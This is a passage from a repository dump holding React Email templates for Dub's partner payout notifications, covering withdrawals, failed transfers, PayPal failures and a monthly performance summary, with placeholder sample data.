<Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-payout-force-withdrawal.tsx",
    "content": "import { currencyFormatter } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\nimport { PartnerPayoutMethod } from \"../types\";\n\nexport default function PartnerPayoutForceWithdrawal({\n  email = \"panic@thedis.co\",\n  payout = {\n    amount: 200,\n    method: \"stablecoin\",\n  },\n}: {\n  email: string;\n  payout: {\n    amount: number;\n    method: Extract<PartnerPayoutMethod, \"stablecoin\" | \"connect\">;\n  };\n}) {\n  const payoutAmountInDollars = currencyFormatter(payout.amount);\n  const STABLECOIN_PAYOUT_FEE_RATE = 0.005;\n  const BELOW_MIN_WITHDRAWAL_FEE_CENTS = 50;\n\n  let statusMessage: string | React.ReactNode = \"\";\n\n  if (payout.method === \"stablecoin\") {\n    statusMessage = (\n      <>\n        After a {STABLECOIN_PAYOUT_FEE_RATE * 100}% stablecoin fee + a{\" \"}\n        {currencyFormatter(BELOW_MIN_WITHDRAWAL_FEE_CENTS)} withdrawal fee,{\" \"}\n        <strong className=\"text-black\">\n          {currencyFormatter(\n            payout.amount * (1 - STABLECOIN_PAYOUT_FEE_RATE) -\n              BELOW_MIN_WITHDRAWAL_FEE_CENTS,\n          )}\n        </strong>{\" \"}\n        will be transferred to your connected crypto wallet. You should receive\n        it within minutes.\n      </>\n    );\n  } else {\n    statusMessage = (\n      <>\n        After a {currencyFormatter(BELOW_MIN_WITHDRAWAL_FEE_CENTS)} withdrawal\n        fee,{\" \"}\n        <strong className=\"text-black\">\n          {currencyFormatter(payout.amount - BELOW_MIN_WITHDRAWAL_FEE_CENTS)}\n        </strong>{\" \"}\n        will begin transferring to your connected bank account shortly. You will\n        receive another email when the funds are on their way.\n      </>\n    );\n  }\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        A withdrawal of {payoutAmountInDollars} has been initiated.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img\n                src=\"https://assets.dub.co/logo.png\"\n                height=\"32\"\n                alt=\"Dub logo\"\n              />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              You've got money coming your way!\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              A withdrawal of {payoutAmountInDollars} has been initiated from\n              your Dub account.\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              {statusMessage}\n            </Text>\n\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-4 py-3 text-[12px] font-semibold text-white no-underline\"\n                href=\"https://partners.dub.co/payouts\"\n              >\n                View your payouts\n              </Link>\n            </Section>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-payout-processed.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK, formatDate } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\nimport {\n  BELOW_MIN_WITHDRAWAL_FEE_CENTS,\n  MIN_WITHDRAWAL_AMOUNT_CENTS,\n  PartnerPayoutMethod,\n  STABLECOIN_PAYOUT_FEE_RATE,\n} from \"../types\";\n\nexport default function PartnerPayoutProcessed({\n  email = \"panic@thedis.co\",\n  program = {\n    name: \"Acme\",\n    logo: DUB_WORDMARK,\n  },\n  payout = {\n    id: \"po_8VuCr2i7WnG65d4TNgZO19fT\",\n    amount: 200,\n    periodStart: new Date(\"2026-02-01\"),\n    periodEnd: new Date(\"2026-02-01\"),\n    method: \"stablecoin\",\n  },\n}: {\n  email: string;\n  program: {\n    name: string;\n    logo: string | null;\n  };\n  payout: {\n    id: string;\n    amount: number;\n    periodStart?: Date | null;\n    periodEnd?: Date | null;\n    method: PartnerPayoutMethod | null;\n  };\n}) {\n  const isBelowMinimumWithdrawalAmount =\n    payout.amount < MIN_WITHDRAWAL_AMOUNT_CENTS;\n  const payoutAmountInDollars = currencyFormatter(payout.amount);\n\n  const startDate = payout.periodStart\n    ? formatDate(payout.periodStart, {\n        year: \"numeric\",\n        month: \"short\",\n        day: \"numeric\",\n        timeZone: \"UTC\",\n      })\n    : null;\n\n  const endDate = payout.periodEnd\n    ? formatDate(payout.periodEnd, {\n        year: \"numeric\",\n        month: \"short\",\n        day: \"numeric\",\n        timeZone: \"UTC\",\n      })\n    : null;\n\n  let statusMessage: string | React.ReactNode = \"\";\n\n  if (payout.method === \"paypal\") {\n    statusMessage =\n      \"Your payout is on its way to your PayPal account. You'll receive an email from PayPal when it's complete.\";\n  } else if (isBelowMinimumWithdrawalAmount) {\n    statusMessage = (\n      <>\n        Since this payout is below the{\" \"}\n        <a\n          href=\"https://dub.co/help/article/receiving-payouts#what-is-the-minimum-withdrawal-amount-and-how-does-it-work\"\n          target=\"_blank\"\n          className=\"font-medium text-black underline decoration-dotted underline-offset-2\"\n        >\n          minimum withdrawal amount\n        </a>{\" \"}\n        of {currencyFormatter(MIN_WITHDRAWAL_AMOUNT_CENTS)}, it will remain in{\" \"}\n        <code className=\"rounded bg-indigo-100 px-1.5 py-0.5 text-indigo-600\">\n          processed\n        </code>{\" \"}\n        status.\n        <br />\n        <br />\n        If you'd like to receive your payout right away, please{\" \"}\n        <Link\n          href=\"https://partners.dub.co/payouts\"\n          target=\"_blank\"\n          className=\"font-medium text-black underline decoration-dotted underline-offset-2\"\n        >\n          go to your Payouts page\n        </Link>{\" \"}\n        and select <strong className=\"text-black\">\"Pay out now\"</strong> to\n        withdraw your payout for a{\" \"}\n        {currencyFormatter(BELOW_MIN_WITHDRAWAL_FEE_CENTS)} fee.\n        <br />\n        <br />\n        Note:{\" \"}\n        <code className=\"rounded bg-indigo-100 px-1.5 py-0.5 text-indigo-600\">\n          processed\n        </code>{\" \"}\n        payouts will remain in your account for up to 90 days, after which it\n        will be automatically withdrawn (for a{\" \"}\n        {currencyFormatter(BELOW_MIN_WITHDRAWAL_FEE_CENTS)} withdrawal fee).\n      </>\n    );\n  } else if (payout.method === \"stablecoin\") {\n    statusMessage = (\n      <>\n        After a {STABLECOIN_PAYOUT_FEE_RATE * 100}% stablecoin fee,{\" \"}\n        <strong className=\"text-black\">\n          {currencyFormatter(\n            payout.amount * (1 - STABLECOIN_PAYOUT_FEE_RATE) -\n              (isBelowMinimumWithdrawalAmount\n                ? BELOW_MIN_WITHDRAWAL_FEE_CENTS\n                : 0),\n          )}\n        </strong>{\" \"}\n        will be transferred to your connected crypto wallet. You should receive\n        it within minutes.\n      </>\n    );\n  } else {\n    statusMessage = (\n      <>\n        Your funds will begin transferring to your connected bank account\n        shortly. You will receive another email when the funds are on their way.\n      </>\n    );\n  }\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        {program.name} has sent you a {payoutAmountInDollars} payout\n        {startDate && endDate\n          ? ` for affiliate commissions made ${\n              startDate === endDate\n                ? `on ${startDate}`\n                : `from ${startDate} to ${endDate}`\n            }`\n          : \"\"}\n        .\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img\n                src={program.logo || \"https://assets.dub.co/wordmark.png\"}\n                height=\"32\"\n                alt={program.name}\n              />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              You've been paid!\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Good news! <strong className=\"text-black\">{program.name}</strong>{\" \"}\n              has sent you{\" \"}\n              <strong className=\"text-black\">{payoutAmountInDollars}</strong>{\" \"}\n              for affiliate commissions made via{\" \"}\n              <Link\n                href=\"https://partners.dub.co\"\n                target=\"_blank\"\n                className=\"font-medium text-black underline decoration-dotted underline-offset-2\"\n              >\n                Dub Partners\n              </Link>\n              {startDate && endDate ? (\n                <>\n                  {\" \"}\n                  {startDate === endDate ? (\n                    <>\n                      on <strong className=\"text-black\">{startDate}</strong>.\n                    </>\n                  ) : (\n                    <>\n                      from <strong className=\"text-black\">{startDate}</strong>{\" \"}\n                      to <strong className=\"text-black\">{endDate}</strong>.\n                    </>\n                  )}\n                </>\n              ) : (\n                \".\"\n              )}\n            </Text>\n\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-4 py-3 text-[12px] font-semibold text-white no-underline\"\n                href={`https://partners.dub.co/payouts?payoutId=${payout.id}`}\n              >\n                View payout\n              </Link>\n            </Section>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              {statusMessage}\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-payout-withdrawal-completed.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\n// Send this email after payout.paid webhook is received\nexport default function PartnerPayoutWithdrawalCompleted({\n  email = \"panic@thedis.co\",\n  payout = {\n    amount: 45590,\n    currency: \"usd\",\n    arrivalDate: 1722163200,\n    traceId: \"DUB-PARTN-ABCD-XYZ-123456\",\n  },\n}: {\n  email: string;\n  payout: {\n    amount: number;\n    currency: string;\n    arrivalDate: number;\n    traceId: string | null;\n  };\n}) {\n  const amountInDollars = currencyFormatter(payout.amount, {\n    currency: payout.currency,\n  });\n\n  const fiveBusinessDaysFromArrivalDate = (() => {\n    let date = new Date(payout.arrivalDate * 1000);\n    let businessDays = 0;\n    while (businessDays < 5) {\n      date.setDate(date.getDate() + 1);\n      // Skip weekends (0 = Sunday, 6 = Saturday)\n      if (date.getDay() !== 0 && date.getDay() !== 6) {\n        businessDays++;\n      }\n    }\n    return date.toLocaleDateString(\"en-US\", {\n      month: \"short\",\n      day: \"numeric\",\n    });\n  })();\n\n  return (\n    <Html>\n      <Head />\n      <Preview>Your funds have been transferred to your bank account</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Your funds have been transferred to your bank account\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              <span className=\"font-semibold text-neutral-800\">\n                {amountInDollars}\n              </span>{\" \"}\n              has been transferred from your Stripe Express account to your\n              connected bank account.\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Banks can take up to 5 business days to process payouts. Wait\n              until{\" \"}\n              <span className=\"font-semibold text-neutral-800\">\n                {fiveBusinessDaysFromArrivalDate}\n              </span>{\" \"}\n              and then contact your bank\n              {payout.traceId\n                ? ` using the following trace ID (reference number):`\n                : \".\"}\n            </Text>\n\n            {payout.traceId && (\n              <Text className=\"break-all font-mono text-sm text-purple-600\">\n                {payout.traceId}\n              </Text>\n            )}\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              If you still have any questions, please{\" \"}\n              <Link\n                href=\"https://dub.co/contact/support\"\n                className=\"font-medium text-black underline\"\n              >\n                reach out to us\n              </Link>{\" \"}\n              and we'd be happy to help.\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-payout-withdrawal-failed.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\n// Send this email after payout.failed webhook is received\nexport default function PartnerPayoutWithdrawalFailed({\n  email = \"panic@thedis.co\",\n  payout = {\n    amount: 530000,\n    currency: \"usd\",\n    failureReason:\n      \"Your bank notified us that the bank account holder tax ID on file is incorrect.\",\n  },\n  bankAccount = {\n    account_holder_name: \"Brendon Urie\",\n    bank_name: \"BANK OF AMERICA, N.A.\",\n    last4: \"1234\",\n    routing_number: \"1234567890\",\n  },\n}: {\n  email: string;\n  payout: {\n    amount: number; // in cents\n    currency: string;\n    failureReason?: string | null;\n    isAvailableBalance?: boolean;\n  };\n  bankAccount?: {\n    account_holder_name: string | null;\n    bank_name: string | null;\n    last4: string;\n    routing_number: string | null;\n  } | null;\n}) {\n  const amountFormatted = currencyFormatter(payout.amount, {\n    currency: payout.currency,\n  });\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        Please update your bank account details to receive payouts.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 my-8 p-0 text-lg font-medium text-black\">\n              {payout.isAvailableBalance\n                ? \"Update your bank account details to receive payouts\"\n                : \"Your recent auto-withdrawal failed\"}\n            </Heading>\n\n            {payout.isAvailableBalance ? (\n              <Text>\n                You have an available balance of{\" \"}\n                <span className=\"font-semibold text-purple-600\">\n                  {amountFormatted}\n                </span>{\" \"}\n                in your Stripe Express account, but we encountered an error when\n                attempting to transfer it to your connected bank account.\n              </Text>\n            ) : (\n              <Text>\n                We attempted to transfer{\" \"}\n                <span className=\"font-semibold text-purple-600\">\n                  {amountFormatted}\n                </span>{\" \"}\n                from your Stripe Express account to your connected bank account,\n                but the transaction failed.\n              </Text>\n            )}\n\n            {payout.failureReason && (\n              <Text className=\"text-sm leading-6 text-neutral-600\">\n                Reason:{\" \"}\n                <span className=\"font-semibold italic text-neutral-800\">\n                  {payout.failureReason}\n                </span>\n              </Text>\n            )}\n            {bankAccount && (\n              <Section className=\"my-6 rounded-lg border border-solid border-neutral-200 bg-neutral-50 p-4 pt-0\">\n                <Text className=\"mb-3 text-sm font-semibold text-neutral-800\">\n                  Current bank account\n                </Text>\n\n                {bankAccount.account_holder_name && (\n                  <Row className=\"mb-2\">\n                    <Column className=\"text-sm text-neutral-600\">\n                      Account Holder\n                    </Column>\n                    <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                      {bankAccount.account_holder_name}\n                    </Column>\n                  </Row>\n                )}\n\n                {bankAccount.bank_name && (\n                  <Row className=\"mb-2\">\n                    <Column className=\"text-sm text-neutral-600\">\n                      Bank Name\n                    </Column>\n                    <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                      {bankAccount.bank_name}\n                    </Column>\n                  </Row>\n                )}\n\n                <Row className=\"mb-2\">\n                  <Column className=\"text-sm text-neutral-600\">\n                    Account Number\n                  </Column>\n                  <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                    •••• {bankAccount.last4}\n                  </Column>\n                </Row>\n\n                {bankAccount.routing_number && (\n                  <Row>\n                    <Column className=\"text-sm text-neutral-600\">\n                      Routing Number\n                    </Column>\n                    <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                      {bankAccount.routing_number}\n                    </Column>\n                  </Row>\n                )}\n              </Section>\n            )}\n\n            <Text>\n              Please update your bank account details as soon as possible.\n              Failed transfers are automatically retried once you have a valid\n              bank account on file.\n            </Text>\n\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-6 py-3 text-[13px] font-medium text-white no-underline\"\n                href=\"https://partners.dub.co/payouts?settings=true\"\n              >\n                Update bank account\n              </Link>\n            </Section>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-payout-withdrawal-initiated.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\n// Send this email after initiating a Stripe payout to the partner\nexport default function PartnerPayoutWithdrawalInitiated({\n  email = \"panic@thedis.co\",\n  payout = {\n    amount: 260689,\n    currency: \"vnd\",\n    arrivalDate: 1722163200,\n  },\n}: {\n  email: string;\n  payout: {\n    amount: number;\n    currency: string;\n    arrivalDate: number;\n  };\n}) {\n  const finalPayoutAmount = currencyFormatter(payout.amount, {\n    currency: payout.currency,\n  });\n\n  return (\n    <Html>\n      <Head />\n      <Preview>Your funds are on their way to your bank</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Your funds are on their way to your bank\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Good news!{\" \"}\n              <span className=\"font-semibold text-neutral-800\">\n                {finalPayoutAmount}\n              </span>{\" \"}\n              is being transferred from your Stripe Express account to your\n              connected bank account.\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              The funds are expected to arrive in your bank account by{\" \"}\n              <span className=\"font-semibold text-neutral-800\">\n                {new Date(payout.arrivalDate * 1000).toLocaleDateString(\n                  \"en-US\",\n                  {\n                    month: \"short\",\n                    day: \"numeric\",\n                  },\n                )}\n              </span>\n              . If there are any delays, please{\" \"}\n              <Link\n                href=\"https://dub.co/contact/support\"\n                className=\"font-medium text-black underline\"\n              >\n                reach out to us\n              </Link>{\" \"}\n              and we'd be happy to help.\n            </Text>\n\n            <Section className=\"mb-12 mt-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-4 py-3 text-[12px] font-semibold text-white no-underline\"\n                href=\"https://partners.dub.co/payouts\"\n              >\n                View payouts\n              </Link>\n            </Section>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-paypal-payout-failed.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\n// Send this email to the partner when the paypal payout fails\nexport default function PartnerPaypalPayoutFailed({\n  program = {\n    name: \"Acme\",\n  },\n  payout = {\n    amount: 530000,\n    failureReason: \"This transaction was declined due to risk concerns.\",\n  },\n  partner = {\n    paypalEmail: \"paypal@example.com\",\n  },\n  email = \"panic@thedis.co\",\n}: {\n  program: {\n    name: string;\n  };\n  payout: {\n    amount: number; // in cents\n    failureReason?: string;\n  };\n  partner: {\n    paypalEmail: string;\n  };\n  email: string;\n}) {\n  const amountFormatted = currencyFormatter(payout.amount);\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        Action Required - Your recent payout from {program.name} failed\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 my-8 p-0 text-lg font-medium text-black\">\n              Your recent payout from {program.name} failed\n            </Heading>\n\n            <Text>\n              We attempted to send your recent payout of{\" \"}\n              <span className=\"font-semibold text-purple-600\">\n                {amountFormatted}\n              </span>{\" \"}\n              via PayPal to{\" \"}\n              <span className=\"font-semibold text-purple-600\">\n                {partner.paypalEmail}\n              </span>\n              , but the transaction failed.\n            </Text>\n\n            {payout.failureReason && (\n              <Text className=\"text-sm leading-6 text-neutral-600\">\n                Reason:{\" \"}\n                <span className=\"font-semibold italic text-neutral-800\">\n                  {payout.failureReason}\n                </span>\n              </Text>\n            )}\n\n            <Text>\n              To resolve this, please verify that your PayPal account is active\n              and able to receive payments. Please update your account details\n              at your earliest convenience and retry the payout from your{\" \"}\n              <Link\n                href=\"https://partners.dub.co/payouts\"\n                className=\"font-medium text-black underline\"\n              >\n                Payout settings\n              </Link>\n              .\n            </Text>\n\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-6 py-3 text-[13px] font-medium text-white no-underline\"\n                href=\"https://partners.dub.co/payouts\"\n              >\n                Payout settings\n              </Link>\n            </Section>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              If you have any questions, just reply to this email.\n            </Text>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-program-summary.tsx",
    "content": "import {\n  currencyFormatter,\n  DUB_LOGO,\n  DUB_WORDMARK,\n  formatDate,\n  nFormatter,\n} from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nconst ICONS = {\n  clicks: \"https://assets.dub.co/misc/icons/nucleo/cursor-rays.png\",\n  leads: \"https://assets.dub.co/misc/icons/nucleo/user-plus.png\",\n  sales: \"https://assets.dub.co/misc/icons/nucleo/invoice-dollar.png\",\n  earnings: \"https://assets.dub.co/misc/icons/nucleo/money-bills.png\",\n} as const;\n\ntype Icon = keyof typeof ICONS;\n\nconst percentStateMap = {\n  positive: {\n    color: \"bg-green-50 text-green-700\",\n    sign: \"+\",\n  },\n  negative: {\n    color: \"bg-red-50 text-red-700\",\n    sign: \"-\",\n  },\n  neutral: {\n    color: \"bg-neutral-50 text-neutral-700\",\n    sign: \"\",\n  },\n};\n\nfunction getPercentChange(current: number, previous: number) {\n  if (previous === 0) {\n    return current === 0 ? 0 : 100;\n  }\n\n  return Math.round(((current - previous) / Math.abs(previous)) * 100);\n}\n\nfunction getPercentState(percent?: number) {\n  if (typeof percent !== \"number\") {\n    return percentStateMap.neutral;\n  }\n\n  if (percent > 0) {\n    return percentStateMap.positive;\n  }\n\n  if (percent < 0) {\n    return percentStateMap.negative;\n  }\n\n  return percentStateMap.neutral;\n}\n\nexport default function PartnerProgramSummary({\n  program = {\n    name: \"Acme\",\n    logo: DUB_LOGO,\n    slug: \"acme\",\n  },\n  partner = {\n    email: \"panic@thedis.co\",\n    createdAt: new Date(),\n  },\n  previousMonth = {\n    clicks: 200,\n    leads: 300,\n    sales: 50,\n    earnings: 100,\n  },\n  currentMonth = {\n    clicks: 100,\n    leads: 100,\n    sales: 100,\n    earnings: 100,\n  },\n  lifetime = {\n    clicks: 200,\n    leads: 200,\n    sales: 200,\n    earnings: 200,\n  },\n  reportingPeriod = {\n    month: \"May 2025\",\n    start: \"2025-05-01T00:00:00.000Z\",\n    end: \"2025-05-31T23:59:59.999Z\",\n  },\n}: {\n  program: {\n    name: string;\n    logo: string | null;\n    slug: string;\n  };\n  partner: {\n    email: string | null;\n    createdAt: Date;\n  };\n  previousMonth: {\n    clicks: number;\n    leads: number;\n    sales: number;\n    earnings: number;\n  };\n  currentMonth: {\n    clicks: number;\n    leads: number;\n    sales: number;\n    earnings: number;\n  };\n  lifetime: {\n    clicks: number;\n    leads: number;\n    sales: number;\n    earnings: number;\n  };\n  reportingPeriod: {\n    month: string;\n    start: string;\n    end: string;\n  };\n}) {\n  const monthlyStats = [\n    {\n      title: \"Clicks\",\n      value: nFormatter(currentMonth.clicks),\n      percent: getPercentChange(currentMonth.clicks, previousMonth.clicks),\n    },\n    {\n      title: \"Leads\",\n      value: nFormatter(currentMonth.leads),\n      percent: getPercentChange(currentMonth.leads, previousMonth.leads),\n    },\n    {\n      title: \"Sales\",\n      value: nFormatter(currentMonth.sales),\n      percent: getPercentChange(currentMonth.sales, previousMonth.sales),\n    },\n    {\n      title: \"Earnings\",\n      value: currencyFormatter(currentMonth.earnings),\n      percent: getPercentChange(currentMonth.earnings, previousMonth.earnings),\n    },\n  ];\n\n  const lifetimeStats = [\n    {\n      title: \"Clicks\",\n      value: nFormatter(lifetime.clicks),\n    },\n    {\n      title: \"Leads\",\n      value: nFormatter(lifetime.leads),\n    },\n    {\n      title: \"Sales\",\n      value: nFormatter(lifetime.sales),\n    },\n    {\n      title: \"Earnings\",\n      value: currencyFormatter(lifetime.earnings),\n    },\n  ];\n\n  return (\n    <Html>\n      <Head />\n      <Preview>{`Your ${reportingPeriod.month} performance report for ${program.name} program.`}</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] space-y-10 px-3 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt={program.name} />\n            </Section>\n\n            <Heading className=\"mx-0 mt-[40px] p-0 text-lg font-medium text-black\">\n              {program.name} partner program monthly summary (\n              {reportingPeriod.month})\n            </Heading>\n\n            <Section className=\"mt-6 rounded-xl border border-solid border-neutral-200 bg-neutral-50\">\n              <Section className=\"rounded-t-xl px-6 py-5\">\n                <div className=\"flex items-center\">\n                  <Img\n                    src={program.logo || DUB_WORDMARK}\n                    alt={program.name}\n                    height=\"32\"\n                    width=\"32\"\n                    className=\"mr-4 rounded-md\"\n                  />\n\n                  <div>\n                    <div className=\"text-base font-semibold leading-tight text-neutral-800\">\n                      {program.name}\n                    </div>\n                    <div className=\"text-xs font-medium text-neutral-500\">\n                      Partner since{\" \"}\n                      {formatDate(partner.createdAt, { month: \"short\" })}\n                    </div>\n                  </div>\n                </div>\n              </Section>\n\n              <Section className=\"space-y-6 rounded-xl border-t border-solid border-neutral-200 bg-white p-6\">\n                <Section>\n                  <Heading\n                    as=\"h4\"\n                    className=\"mt-0 text-base font-semibold leading-6 text-neutral-800\"\n                  >\n                    Stats for {reportingPeriod.month} (vs previous month)\n                  </Heading>\n\n                  <StatsGrid stats={monthlyStats} />\n                </Section>\n\n                <Hr className=\"mx-0 my-8 w-full border border-neutral-200\" />\n\n                <Section>\n                  <Heading\n                    as=\"h4\"\n                    className=\"mt-0 text-base font-semibold leading-6 text-neutral-800\"\n                  >\n                    All-time Performance\n                  </Heading>\n\n                  <StatsGrid stats={lifetimeStats} />\n                </Section>\n\n                <Section className=\"mt-8 text-center\">\n                  <Link\n                    href={`https://partners.dub.co/programs/${program.slug}?start=${reportingPeriod.start}&end=${reportingPeriod.end}`}\n                    className=\"box-border block w-full rounded-lg bg-black px-0 py-4 text-center text-sm font-semibold leading-none text-white no-underline\"\n                  >\n                    View dashboard\n                  </Link>\n                </Section>\n              </Section>\n            </Section>\n\n            <Footer email={partner.email!} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n\nconst StatsGrid = ({\n  stats,\n}: {\n  stats: {\n    title: string;\n    value: number | string;\n    percent?: number;\n  }[];\n}) => {\n  return (\n    <>\n      {[0, 2].map((startIndex) => (\n        <Row\n          key={startIndex}\n          style={{\n            width: \"100%\",\n            ...(startIndex === 2 && { marginTop: \"32px\" }),\n          }}\n        >\n          <Column width=\"50%\">\n            <Stats {...stats[startIndex]} />\n          </Column>\n          <Column width=\"50%\">\n            <Stats {...stats[startIndex + 1]} />\n          </Column>\n        </Row>\n      ))}\n    </>\n  );\n};\n\nconst Stats = ({\n  title,\n  value,\n  percent,\n}: {\n  title: string;\n  value: number | string;\n  percent?: number;\n}) => {\n  const icon = ICONS[title.toLowerCase() as Icon];\n  const { color, sign } = getPercentState(percent);\n\n  return (\n    <div className=\"flex flex-row items-center bg-white p-0\">\n      <div className=\"flex rounded-md bg-neutral-100 p-3\">\n        <Img src={icon} alt={title} className=\"h-4 w-4\" draggable={false} />\n      </div>\n      <div className=\"ml-3\">\n        <p className=\"mb-0 mt-0 text-left text-xs font-medium text-neutral-500\">\n          {title}\n        </p>\n        <div className=\"flex items-center\">\n          <p className=\"m-0 text-left text-lg font-medium text-neutral-800\">\n            {value}\n          </p>\n\n          {typeof percent === \"number\" && (\n            <Text\n              className={`m-0 ml-2 rounded text-xs font-medium ${color} m-auto px-1.5 py-0.5`}\n            >\n              {sign}\n              {Math.abs(percent)}%\n            </Text>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "packages/email/src/templates/partner-referral-submitted.tsx",
